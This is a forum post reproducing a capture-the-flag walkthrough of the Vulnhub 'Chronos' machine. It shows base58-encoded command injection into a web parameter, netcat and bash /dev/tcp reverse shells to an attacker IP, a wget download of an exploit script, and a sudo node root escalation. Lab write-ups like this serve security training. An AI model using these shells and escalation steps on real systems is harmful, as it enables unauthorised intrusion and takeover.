• We just launched and are currently in beta. Join us as we build and grow the community.

Chronos Vulnhub Walkthrough

Sloth7s

AI Personalization Expert
S Rep
0
0
0
Rep
0
S Vouches
0
0
0
Vouches
0
Posts
118
Likes
89
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
Chronos is an easy/medium machine from Vulnhub by AL1ENUM. This machine is also tested in VirtualBox. This lab is suitable for novices because it has significant bugs such as Remote Command Execution for reverse connection and a privilege escalation approach. So, let’s get started and learn how to break things down into manageable pieces.

Methodology

Network Scanning

  • netdiscover
  • nmap

Enumeration

  • Abusing HTTP
  • Intercept HTTP request
  • Decode Base64 and Base58

Exploitation

  • Inject Netcat reverse shell
  • Sensitive data exposure (express-file upload)

Privilege Escalation

  • Exploiting file express upload
  • Capture the root flag

Level: Easy-Medium

Flags concurred:

root.txt: YXBvcHNlIHNpb3BpIG1hemV1b3vtZSBvbmVpcmEK

Network Scanning

Firstly, we have to scan the network to find the Victim machine IP using the netdiscover command.

Code:
netdiscover

The IP address we get is 192.168.1.174

AVvXsEgH0cQc1k0ymb9JXhjkJRUt6zmocFHgeD8UzMjIJOBVsoG33zuyiU3k5NwLf6LAkhpbh-ofZi4u3UaQGJsz2yiwp44m-Bwt3XISMPc73DoWinM-Y-QUracQ4TMCEpD-GNV3joBxyn9lAapChmPrbQB1II0WZys5yJQpPhFcw3ma0R3GPRQllRAC3M7izw=s16000


Nmap

Further, we ran an aggressive scan (-A) for open port enumeration where we found the following port details:

Code:
nmap -A 192.168.1.174

According to the Nmap output, we get

  • on port 22 SSH server running
  • on port 80 HTTP service running (Apache Server)

  • on port 8000 HTTP service running (Node.js Express framework)

AVvXsEjhSZhh_nCWo87Smf_gjIgH2nb80AGZaGnaVaBviRQajpKXN9S1H7FP3EoeuWXf2zGAoqwY_Cvk_ulHhVU6gDZej1iqlcnRekWvYpouB6BdRERDDftU5vGhkbHmkHMmLXoZOWL45IRlRSVrkikYAVRYW6c4Fe5hIjEMsSOuTcBbnvsRdXRozqVK6OQE8w=s16000


Enumeration

Abusing HTTP

Let’s check port 80 to see if we get anything interesting. We can verify it immediately in the browser because the Apache Server is running on port 80.

AVvXsEhia3BpSfvJs8DlLedC_qi1-JmtXS6nHnKM46Qn95EUITQPPZpkSrD5-KfhNqPE1ChvMaX3zBg05G5bxgAxar2aoTJ-s68R2LdiJ5yMKCg2K7vWbemctpBUze1JSb15l3qqkCz0yEb_oUr-nNOkmMqD2vmQ_u1tWwi2GRci9FJR_0bIG5c0S5tSvSQUOA=s16000


The site does not provide any valuable information, therefore we go for the source page that exposes hostnames and URL. Since the hostname has not been included in our /etc/hosts configuration file, we cannot route.

AVvXsEio8_49lglGnu192hcOGrtvABCStbkoAV3hGWLZSdR00LCCi7VQTm_8rbAIQIW4DravfM0QaNUZ4Hx1_7bWGkUZoGF7CZ41r1YEYS0-8Qc0GsLaUtRra7-8eFoFBGRG9keYSL9KDSRxy0A1podRUCAISy1X0-my_ldoAX6Iljjq0y_57n8lsWQuAyY72g=s16000


Therefore, we have updated the/etc/hosts file by adding the IP and hostname as shown in the image.

Code:
192.168.1.174 chronos.local

AVvXsEibwQfRzgG56YC0EE-ydVdUZ-wXp8ze2WvE0qz-UlPG64LeJA9jc8cRK4szwEAVm3vX2vx1XMPl6s0GH6agb94sOBCE8OsUtejYLIFRpTgknQP37xXhy0WhtBSAZfYa19SsdUjtgxugEZI-brxiTHp_YkkCEgJvIONpsAK9DeROOzdeb7ad5JGYDM7P7Q=s16000


By browsing http://chronos.local:8000, the site response by showing time, day & date.

AVvXsEjnBEZHY6bSMB6sJhIwdxhkV9ow6SBAesAqITS0GkkV-wUuXqgyCdFZoL5p4lNCUUBX-2ptlUDDT0co0ROurXjG6qnaAhCy56KNfbwzNBEZRv1R1W4Fl6V8DDftuPJCTVC6_r0aXQOa5iEkd7rHRjTStIVY-35mcSp_v7EcrbOBCgGA-xrBhgCMmgpz0Q=s16000


The URL of the above-mentioned source page was visited this time; however, the server responded with the message “permission denied.”So we decided to intercept HTTP requests for this page through the burp suite.

AVvXsEj2cX4tfyuaLqPr-FOFFXIg3ikuPZnmjF1h56yYlh7PCL2giqiH9SI1aKHXox63iI11nXXCQ8y-M2Pur6S9RJdckJwhg8yKcHCSSY5jkAraWeYdjXRH90pTPUovOD3NkDZQqVHUDdoN9bURHJtN8J_b6WSMdghGfaWGmdxPSRPumwcmRVmEwg5MkjQXdQ=s16000


Decode Base64 and Base58

We intercepted the HTTP request for the GET method, which includes a format parameter with a bas64-encoded argument.

AVvXsEhtEuVYOm1MDFCyyE5YEGaM525v6lm3u1UY4WWIz-9O396XcnDcv-v8Yku_yLJNq96f5dMpl_Lf0xTFk-CVJh9rkHgzSZp8MTqHZYkrZjpRMC590p3_1G2zM68fR6hw4M6FOMk-PuucGIbMDgT6SBH73euno41Qrs8CtWbs94segrBUO2engryWRtZ8rw=s16000


Copy the argument value and paste it into the CyberChef to encode it into base64

Code:
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

The output we get from the encoding the value looks like this

Code:
NHVnWUR1QWtTY0NHNWdNY1pqRU4zbUFMeUcxZEQ1WllzaUNmV3ZRMnc5YW5ZR3lM

AVvXsEgm1xxqIv0TfSuXaBZV4lkmKT6mf1I0O33yfkp8TPpXjlCN_UQSbQAWsbkksioROG1ypDYdI09pP0CmU_5C_tSRAfvQrXxdLu7yV_7muEyKUZUSS0plhJ6iyZNzN-2lDUeO6qZ81FAqgeoTTKtcTOnqKsREx2VDe4beE70pzzXYAgHAieSBBsAx0PqneA=s16000


Now it’s time to experiment with the repeater; let’s copy the output (base64) and request it over the repeater. For the provided base64 parameter, we received an error message for a non-base58 character, indicating that the server is encoding and decoding using the base58 function.

AVvXsEjnrb_dGbp8vtEtL39_YZD5a7rEip8iANypa-Nr9biV-EhgkZ8gPwNEKQETCT9G6qT-YXO5XNfG4OJBPT_ts2xsroHkwErmp9R-n5h-58aoEo6n1-rWTLsLolcO8zslvMV-v6Oy-64fkQT3slSiM4xg2NTUKxEerhyPwMZ1aofR0W8jn4Erf4G2xmU-Bw=s16000


Copy the same parameter format value and decode it with Base58.

Code:
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

The outcome we get after decoding for the format value is day, date and time as an argument.

Code:
'+Today is %A, %B %d, %Y %H:%M:%S.'


Key Point: The application is calling OS functionality to execute time and date command, which means format parameter can fuzz for os command injection. Here you can try to execute any base64_encoded arbitrary system command.


AVvXsEjIxoBWRAoW382-U0-i0S6382BiNF8JJLbswTwzsWZpY1ofRd4YyXv-P80MoVm43Mu-txgFDXG6s_dUFpYX3Omw6ActaHCMuxeOwVeFBkFuCjvSlPpD3a9jyLcvOwuHOG-ohE4H0l7HBVDiEmd4bUbQ4urA3nu1xU6Gxwkm2EOsuhBaxabRTOQW7cLN3g=s16000


Exploitation

Inject Netcat one-liner payload

It’s time to exploit remote command execution by injecting a netcat reverse shell. You can visit the given link to get the netcat reverse shell one-liner and modify the payload according to listener address and port.

URL: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Use the following command to make sure to change the IP.

Code:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.3 1234 >/tmp/f

Copy the payload which we have created earlier and use Base58 to encrypt this payload.

AVvXsEicEhhoSFh4KI6kU3RL-Sg8wJ2erjOu0xo4mrASjQN_TMmon-Rk5RdhI-vPcVRjc-Hm57LxDSYyF0jSfss5XF7bHB59aBzhpNgL7D9rUpgWjavkK1D4yfMjAwMTKT-F1dulNnuwrx-_UOFFBtduWcJnIWhxVeXBhi7BCDxFFZeR4vADmOCBxmytVockJQ=s16000


Start a Netcat listener on port 1234 for obtaining a reverse connection.

Code:
nc -lvp 1234

Modify the format value by injecting an encrypted payload and sending the request to the server.

AVvXsEjBR6z3wPWl9molcmivo1C_BwO111UpF4UbAVPMtQnV20iVEYcuch9Pc9ewOLR9up2RfHdHCjVvwwTdV_6wdlCI1cCSeQooziMTZ0yRBTw9u9CLabT-eB32BbvxNXABgxVSgrSGw2VmYssgIjGABMXa_efqgwpPbwnBlSy4sj7jgWbJ8BJRLGvHHekokw=s16000


As soon as we deliver the payload we get the reverse in our Netcat listener.

Code:
cd
ls

Sensitive data exposure (express-fileupload)

For post enumeration, we dig there are two folders in the opt directory: “chronos” and “chronos-v2”. We get into the chronos-v2 directory has further two new folders in chronos-v2: “frontend” and “backend.”

Code:
cd chronos-v2
ls
cd backend

We got four scripts inside the backend directory: “node modules”, “package.json”, “package-lock.json”, “server.js”

We can see a service called “express-fileupload version 1.1.7” in the package.json file.

Code:
ls
cat package.json

AVvXsEjmo8qdhZVq0pkBVq_6p3ZqRSKI41v0T61I0OwBo8-mnidqK8XlNlGFw5ivSXRKjcLKcAFuSNvAX8MyM0badg9WSscAZaMuXBQDqB7HnD1shufQh2rGRC5Lh0Syfc6yuane0bZs_i-JEOaYjtXPez8iss6bCE4Buzaxq6lkMKSF847JL69rCt7gRCAPNA=s16000


Privilege Escalation

We can see from package.json that the server is running express-fileupload version 1.1.9-alpa.3 for Node.js, therefore let’s look for any probable exploits on Google.

Luckily we found a python script to perform an EJS-RCE attack to exploit express-fileupload.

AVvXsEh8Xd7y3pnGLlv0aHAh-JHIfbLZeNJCATsg42Lgw4EQtI78a6pPhSK8jDy5EVQcJtY48PQ4WXJas7F4c52Vp2qzcBsRBIUjj367t4Br_D32giJhlCenbcU3BexyTj3a2Uh95NmbDM-juRHmYVFLlEI17ZJoRNrvI8iPurzQum2L4qnpA_3ewjcznzBAcw=s16000


Exploiting Express Fileupload

Go to the website, download the exploit and make the changes in the host IP (Kali Machine) file and then name the file as poc.py

Code:
'bash -c "bash -i &> /dev/TCP/192.168.1.3/8888 0>&1" '

AVvXsEjeqrT0mcUed3QRdyT1OgKh2qmvJdzXmgaXkeflBxh6_P-QT5pgpn_FTeisbB-3y928VtMYfn7IaBkfxkOhl9MVwC186XsdJg3Xwpa8swfcUsq_bSWl0NFvZRCPTJKBf9D1qW42pVUMl0P_WOwnKpIEU2YphsxS9LdRpLPHshz9BFs9HtLKW3nhSpTkkg=s16000


There is a need to transfer this exploit so, launch the Python server with the following command:

Code:
python -m SimpleHTTPServer 80

AVvXsEiLY09oTeDOIA1Pz3d6ibYD1EUj3Nv_LBLKOabzSjcshmLLkrV3p3nbSn3eU0XnNVqqHdxlFq2VYmheMIczur8fMM_Qvvf6uPuSDLRPkNK1OqmX5Oz_1gDBmyOUx7-FUVi6cKktPPpN51lVJX08y3wqMksTMxZd-MCk0CJZvONPc9bnxcBiu3YIYGIrDw=s16000


Let’s start the Netcat listener on new port 8888.

Code:
nc -lvp 8888

Now, download the created exploit using “wget” in the tmp folder

Code:
cd /tmp
wget http://192.168.1.3/poc.py

Once it is downloaded, now run the exploit with the following command:

Code:
python3 poc.py

AVvXsEgVWyXT57qXJx1XgkjganmbhkNJvkQTWVucl5tu_H1UyQ7-GoROp-VjccjgCklCfMA18hz0wa7wn-0Zl9Ux_28YQ0Zs3Kv2va6F6lH6GnTmzSvcQJbhvNPWH8kgAmLrIxzhqsYFqpuM7_-VFPTJhJMKoMv0kDY6CRL1ETC--m2DZFP45hx4yvG1CFYUpA=s16000


Capture the root flag

We receive the limited privilege shell on our Listener as soon as we run the exploit.

Now for privilege escalation, let’s find out sudo rights for user “imera’. We found the user imera has ALL privileges to run two program node & npm.

I did a quick search and got to know that we can use Using “child_process.spawn” method to run a bash script. This bash script will give us the root shell if it gets executed properly. From

GTFOBin: https://gtfobins.github.io/gtfobins/node/

Code:
sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

As soon as the script is getting executed, we get the root shell. Check the id and enter in the root directory.

Code:
id
cd /root

we can see the root.txt file just open the file and you will get the root flag.

Code:
ls
cat root.txt

AVvXsEiFMkP_rSlgI_0fxIZDe8bmHmFD9HPm2NNEhjIOHbZcEgWeTm-HK03G6bjMdPKpdLRJ2XQinS_6CwnInkJQ8CcyLkDdb91qTFfsRDSutz6RGO2-YrgqPENFlAxyojazNlxk6R4IHd8xwTp7wu5hkZkm7jkwWBeSEs4HNxLEqpUx89WkQnAIBWWQJcKFLg=s16000


Author: Sakshi Gurao is a Researcher and Technical Writer at Hacking Articles, Red Teamer, Penetration Tester. Contact Linkedin
 

422,212

310,551

310,560

Top